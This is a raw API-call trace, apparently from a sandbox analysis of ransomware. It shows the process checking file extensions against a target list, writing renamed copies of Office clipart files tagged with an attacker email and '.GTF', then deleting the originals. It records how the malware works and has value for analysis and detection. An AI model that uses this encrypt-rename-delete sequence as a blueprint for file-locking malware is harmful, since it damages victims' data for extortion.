	[0083.762] lstrlenW (lpString=".dbf") returned 4
	[0083.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.762] lstrlenW (lpString=".1cd") returned 4
	[0083.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68
	[0083.762] lstrlenW (lpString=".jpg") returned 4
	[0083.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.762] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.762] lstrlenW (lpString="BL00392_.WMF") returned 12
	[0083.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.763] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=27050) returned 1
	[0083.763] CloseHandle (hObject=0x398) returned 1
	[0083.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220
	[0083.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.764] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.764] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.764] GetLastError () returned 0x0
	[0083.764] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x69aa, lpOverlapped=0x0) returned 1
	[0083.766] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x69b0, lpOverlapped=0x0) returned 1
	[0083.768] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.768] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.768] SetEndOfFile (hFile=0x35c) returned 1
	[0083.768] CloseHandle (hObject=0x35c) returned 1
	[0083.769] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.769] SetEndOfFile (hFile=0x398) returned 1
	[0083.771] CloseHandle (hObject=0x398) returned 1
	[0083.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1
	[0083.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.771] lstrlenW (lpString=".doc") returned 4
	[0083.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.771] lstrlenW (lpString=".docx") returned 5
	[0083.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.772] lstrlenW (lpString=".pdf") returned 4
	[0083.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString=".xls") returned 4
	[0083.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.772] lstrlenW (lpString=".xlsx") returned 5
	[0083.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.772] lstrlenW (lpString=".ppt") returned 4
	[0083.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString=".zip") returned 4
	[0083.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.772] lstrlenW (lpString=".rar") returned 4
	[0083.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString=".bz2") returned 4
	[0083.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString=".7z") returned 3
	[0083.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString=".dbf") returned 4
	[0083.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString=".1cd") returned 4
	[0083.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString=".jpg") returned 4
	[0083.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.772] lstrlenW (lpString=".doc") returned 4
	[0083.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString=".docx") returned 5
	[0083.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.772] lstrlenW (lpString=".pdf") returned 4
	[0083.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.772] lstrlenW (lpString=".xls") returned 4
	[0083.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.773] lstrlenW (lpString=".xlsx") returned 5
	[0083.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.773] lstrlenW (lpString=".ppt") returned 4
	[0083.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.773] lstrlenW (lpString=".zip") returned 4
	[0083.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.773] lstrlenW (lpString=".rar") returned 4
	[0083.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.773] lstrlenW (lpString=".bz2") returned 4
	[0083.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.773] lstrlenW (lpString=".7z") returned 3
	[0083.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.773] lstrlenW (lpString=".dbf") returned 4
	[0083.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.773] lstrlenW (lpString=".1cd") returned 4
	[0083.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0083.773] lstrlenW (lpString=".jpg") returned 4
	[0083.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.773] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.773] lstrlenW (lpString="BL00524_.WMF") returned 12
	[0083.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.774] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6996) returned 1
	[0083.774] CloseHandle (hObject=0x398) returned 1
	[0083.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220
	[0083.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.774] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.774] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.774] GetLastError () returned 0x0
	[0083.774] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1b54, lpOverlapped=0x0) returned 1
	[0083.853] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1b60, lpOverlapped=0x0) returned 1
	[0083.854] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.855] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.855] SetEndOfFile (hFile=0x35c) returned 1
	[0083.855] CloseHandle (hObject=0x35c) returned 1
	[0083.856] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.856] SetEndOfFile (hFile=0x398) returned 1
	[0083.857] CloseHandle (hObject=0x398) returned 1
	[0083.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1
	[0083.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.857] lstrlenW (lpString=".doc") returned 4
	[0083.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.857] lstrlenW (lpString=".docx") returned 5
	[0083.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.857] lstrlenW (lpString=".pdf") returned 4
	[0083.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.857] lstrlenW (lpString=".xls") returned 4
	[0083.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.857] lstrlenW (lpString=".xlsx") returned 5
	[0083.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.858] lstrlenW (lpString=".ppt") returned 4
	[0083.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString=".zip") returned 4
	[0083.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.858] lstrlenW (lpString=".rar") returned 4
	[0083.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString=".bz2") returned 4
	[0083.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString=".7z") returned 3
	[0083.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString=".dbf") returned 4
	[0083.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString=".1cd") returned 4
	[0083.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString=".jpg") returned 4
	[0083.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.858] lstrlenW (lpString=".doc") returned 4
	[0083.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString=".docx") returned 5
	[0083.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.858] lstrlenW (lpString=".pdf") returned 4
	[0083.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.858] lstrlenW (lpString=".xls") returned 4
	[0083.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.858] lstrlenW (lpString=".xlsx") returned 5
	[0083.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.858] lstrlenW (lpString=".ppt") returned 4
	[0083.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.859] lstrlenW (lpString=".zip") returned 4
	[0083.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.859] lstrlenW (lpString=".rar") returned 4
	[0083.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.859] lstrlenW (lpString=".bz2") returned 4
	[0083.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.859] lstrlenW (lpString=".7z") returned 3
	[0083.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.859] lstrlenW (lpString=".dbf") returned 4
	[0083.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.859] lstrlenW (lpString=".1cd") returned 4
	[0083.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0083.859] lstrlenW (lpString=".jpg") returned 4
	[0083.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.859] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.859] lstrlenW (lpString="BL00923_.WMF") returned 12
	[0083.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.859] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6256) returned 1
	[0083.859] CloseHandle (hObject=0x398) returned 1
	[0083.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220
	[0083.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.860] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.860] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.860] GetLastError () returned 0x0
	[0083.860] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1870, lpOverlapped=0x0) returned 1
	[0083.886] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1880, lpOverlapped=0x0) returned 1
	[0083.887] ReadFile (in: hFile=0x398, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.887] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.887] SetEndOfFile (hFile=0x35c) returned 1
	[0083.887] CloseHandle (hObject=0x35c) returned 1
	[0083.888] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.888] SetEndOfFile (hFile=0x398) returned 1
	[0083.889] CloseHandle (hObject=0x398) returned 1
	[0083.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1
	[0083.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.893] lstrlenW (lpString=".doc") returned 4
	[0083.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.893] lstrlenW (lpString=".docx") returned 5
	[0083.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.893] lstrlenW (lpString=".pdf") returned 4
	[0083.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.893] lstrlenW (lpString=".xls") returned 4
	[0083.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.893] lstrlenW (lpString=".xlsx") returned 5
	[0083.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.893] lstrlenW (lpString=".ppt") returned 4
	[0083.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".zip") returned 4
	[0083.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.894] lstrlenW (lpString=".rar") returned 4
	[0083.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString=".bz2") returned 4
	[0083.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString=".7z") returned 3
	[0083.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".dbf") returned 4
	[0083.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".1cd") returned 4
	[0083.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".jpg") returned 4
	[0083.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".doc") returned 4
	[0083.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString=".docx") returned 5
	[0083.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.894] lstrlenW (lpString=".pdf") returned 4
	[0083.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString=".xls") returned 4
	[0083.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.894] lstrlenW (lpString=".xlsx") returned 5
	[0083.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.894] lstrlenW (lpString=".ppt") returned 4
	[0083.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.894] lstrlenW (lpString=".zip") returned 4
	[0083.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.894] lstrlenW (lpString=".rar") returned 4
	[0083.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.895] lstrlenW (lpString=".bz2") returned 4
	[0083.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.895] lstrlenW (lpString=".7z") returned 3
	[0083.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
